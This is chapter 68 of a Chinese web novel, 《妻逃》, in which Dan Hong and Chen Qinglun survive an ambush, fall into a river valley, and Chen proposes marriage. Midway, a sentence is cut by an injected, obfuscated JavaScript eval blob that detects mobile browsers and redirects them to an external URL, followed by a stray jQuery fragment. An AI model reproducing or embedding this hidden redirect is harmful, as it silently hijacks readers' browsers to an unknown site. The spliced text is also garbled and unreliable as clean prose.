68. 想得美
作品:《妻逃》 丹红在听到这声提醒的瞬间,便立刻躬身躲避。
她根本没看清自己要小心的是什么。
万幸赌赢了。
大刀擦着她的后脑勺挥过去。
丹红就地一滚,藏到一辆骡子已经挣跑的骡车后边,并听到不远处骏马摔倒的哀鸣,心里松了一口气。
短兵相接的脆响在耳边炸开。
丹红捂着耳朵,抬眼时,只见陈清轮挥剑挑翻方才劈她的那人。
看着清瘦的小子,还怪有劲的。
他注意到丹红的视线,转头看过来时,溅到他面颊上的鲜红血迹顺着他颧骨的弧度缓缓画出一道艳丽的拖尾。
丹红只看到一双在日光下灼灼辉煌的眸子。
她心里微微一动,恍惚间眼前浮现出另一双形状截然不同的眼,却带着相似的慑人明光。
就这么稍稍怔神的工夫,利刃已然舞到丹红的面前。
陈清轮快步上前,将丹红拉到身后,反手抬剑格挡并紧跟着向前一送一挑。
鲜血四溅。
人血带着它特有的甜腥味萦绕在丹红鼻尖。
丹红皱着眉,见陈清轮还没撒开她的手,也不曾挣脱,任由这个手上没轻没重的臭小子悠着她跑,躲闪着四面八方的袭击。
其实跟着陈清轮才是最安全的。
毕竟这伙人的目标是已经失势的方夫人母女,绝不会轻易对莫兆陈氏的嫡系、太子身边的近臣下死手。
丹红观察到两方人马缠斗,陈清轮可以说是游刃有余,心里已经对现在的情势估个七八成的准头,便手腕一翻。
不等察觉到脱手的陈清轮转头询问,丹红已然卡着他的护腕抓紧他的手臂。
“你扯着我不方便走。”丹红平静地说,“放心,我跟着你。”
活命的头等大事,哪里有那么多唧唧歪歪的心思。
她倒是没想到,这样寻常的一句话,竟也能在大敌当前的陈清轮心里泛起一阵涟漪。
——真是毛头小子。
就在这时,已有几人驭马冲进旁边的林中。
尽管重重叠叠的树杈阻碍马匹的脚程,可一旦叫他们绕过堵在路上的骡车,便似鸟入长空,再难堵截。
陈清轮立刻带人上前纠缠。
跟在后边的丹红问他:“还有武器没?”
先前给她的短刃被她抛出阻拦马跃,就是可惜了那匹能越过重重障碍的好马。
陈清轮这会儿放松了点,遂贫嘴起来:“姑奶奶,我看上去像是在腰上挂一圈刀的人吗?你当我是走街串巷的货郎啊!”
丹红没跟他多拌嘴。
路过一个躺在地上不知是生是死的蒙面人时,她脚尖踢着地上的刀把,那柄掉在地上的刀也不知怎么就弹起来,被丹红单手稳稳接住。
陈清轮余光瞥到,由衷地赞叹:“有两把刷子嘛。”
丹红心说:这位小少爷恐怕没见过两手提满汤汤水水,弯不下腰还得接着拎起地上东西的场面。
她也就没搭陈清轮的话。
只垂眸看向刚刚到手的刀。
刀身宽厚,她拎着不仅看上去不伦不类,还很不方便。
陈清轮叹了口气,将手中细长的剑递给她,并顺走她拾起的这把大刀。
口中还嘟囔着:“这真是一点都不雅致。”
敢情他随身带剑是出于这样的目的。
这附庸风雅的臭毛病不知跟谁学的——等等,丹红好像知道他是跟谁依葫芦画瓢的。
丹红不跟他呛声,让他能专心在对付那些蒙面人身上。
虽然胳膊上挂着个人,却丝毫没有影响到陈清轮的行动,甚至在他无暇顾及的视野盲区,丹红还能抬剑替他格挡暗招偷袭。
只是陈清轮很快意识到,周边那些蒙面人不知哪根筋搭错,都针对起他身边的丹红来。
好似这样能叫他投鼠忌器。
他不得不改换身位,环住丹红的腰身将她护至身前。
一时间他倒像是个人肉护盾了。
丹红自己有几斤几两可是掂量得明白,晓得这伙人看出陈清轮对自己略有不同,试图用攻击她的手段来牵制陈清轮,为着自己的生命安全着想,她心安理得用起陈氏公子这个护盾。
不过树林里确实施展不开。
更别提还有那么多负伤后摔倒在地的大马挡路。
丹红看外边的缠斗已然结束,大部分护卫与蒙面人都转战树林,便轻拽陈清轮的手道:“放开我,我想办法躲……”
话音未落,只听一声近在咫尺的嘶鸣响起。
紧接着就是一阵前所未有的推力。
陈清轮下意识扣紧丹红,二人身形一倒,顺着旁边一道足有百来丈的坡滚了下去。
“公子!”
“快去报官!找人来寻!”
这些蒙面刺客甚至比护卫更关心陈清轮的生死。
上边树林里后续的情况,已经不是两个骨碌碌往下滚的人有余神思索的了。
脑浆子都快被摇匀了。
两人都竭力试图抓住点什么,止住下滑的趋势,奈何两个人的分量太大,小灌木丝毫不起作用。
“噗通”一声,二人齐齐掉入河谷水沟里。
好在水流不算湍急,两个都是在莫都长大的人终于撒开手踩着水浮出来。
湿漉漉的落汤鸡爬上河滩,举目四望只有冲天高木。
身上还全是树杈刮出的细密伤痕。
真是狼狈。
仰躺着的丹红却忽然笑出声来。
她对上陈清轮奇怪的目光,问他:“现在你总该告诉我,究竟是因为什么险些丧命吧?”
“关于军中贪墨之事。”陈清轮面无表情,但因为两腮带着点儿还没完全褪去的婴儿肥,不耍宝的时候瞧着就有点气鼓鼓,“顾斯兰贪得那些钱,抄家后的账目并对不上,只是不待继续审问,他就离奇‘畏罪自裁’于狱中。方夫人知道些内情,有公子作保,她才愿意出面作证。”
方夫人是聪明人。
她很清楚自己知道的秘密有多要命,从入狱起便一问三不知,骗过幕后之人,幕后黑手又恐事情做绝闹大惹来注目,便放过她们母女。
直到李怀瑾从军中捞出方夫人母女,并迅速安排回莫行程。
打草惊蛇。
这草在人家眼皮子底下,却是不得不打。
丹红现在明白了,难怪要组织这样大规模的一支“商队”。
她仰头看向他们滚下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538162|167072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来的地方,根本看不清上边的动静,这坡度更别提原路爬上去了。
“还能动吗?”丹红爬起来。
“当然!嘶……”陈清轮逞强的一抽腰,疼得自己先龇牙咧嘴。
刚才他是不慎被一匹吃痛发疯的马撞下来的。
少说也是伤筋动骨。
丹红眉头紧锁,张望着头顶这一片天色。
贼老天真不是什么好东西,刚还出太阳呢,这会儿又开始甩脸色,阴沉沉随时要下雨的样子。
“我扶你,咱们先找个安全的地方。”
万一真下大雨,他们所在的河谷可不是什么安全的好地方。
“不用你扶。”陈清轮嘴硬,一手抵着腰,一手撑地,踉跄着爬起来。
结果看丹红听他说“不用”就真没上前,他又生无名火起来。
而且她还没看自己!
她站在河滩边上,不知道在打量些什么。
“咱在这儿做个记号?”
不待陈清轮忿忿开口,丹红已指着河滩上的巨石如是说道。
陈清轮的火气瞬间被压下去,并立刻想明白她的意思。
巨石上有明显的水位分界,即便河谷涨潮,大概也淹不没这块石头,在上边做个记号,好叫上边下来找他们的人知道他们的动向。
“拿什么做记号?”
丹红伸手示意他腰间的剑鞘。
陈清轮一低头,才意识到丹红不知道什么时候把剑送回鞘中。
因为系得牢,随他们一块“滚”下来。
“你怎么把剑插回来的?”陈清轮惊奇地问。
丹红莫名地看他:“要是摔下来的时候还攥着不放,咱俩的脖子先给它抹了。”
陈清轮又被气到了。
就是因为知道这个道理,所以滚下来的那一刻他就迅速把手上的刀抛开。
但要是犟这个,总显得他太幼稚。
于是陈清轮冷哼一声,将腰上系着的剑解下来连鞘抛给丹红。
丹红拿着剑爬上巨石,在上边费劲地刻下言简意赅的记号,交代他们的去向。
只是宝剑终究不是用来干这行的。
没划两下,剑尖就崩出好几个豁口。
丹红跳下石头,打量着剑上的残缺,感慨道:“剑果然是礼器,还是刀好用。”
陈清轮倒没恼她暴殄天物,只道:“但是耍着很有风范啊。”
于是丹红将豁口的“风范”丢回给陈清轮,看他把精致的剑鞘系回腰间,外表看着还有那么点风雅余留。
留好了记号,丹红便上前搀扶陈清轮。
这小子还犟着面子,不肯叫丹红扶他,一面小声急促地吸着冷气,一面往前挪着步子。
丹红看在眼里,真是啼笑皆非。
她强行扶住陈清轮,道:“年纪轻轻的,别把腰给弄坏了。”
陈清轮敏锐地意识到某些潜台词,涨红了脸说不出话。
气氛有些尴尬。
丹红又随口嘟囔着:“真是的。本是奔着荣华富贵去,却在这儿折戟沉沙了。”
这时陈清轮有话说了。
他支吾半天:“你要荣华富贵的话……若是咱们能活着走出去,我就娶你,怎么样?”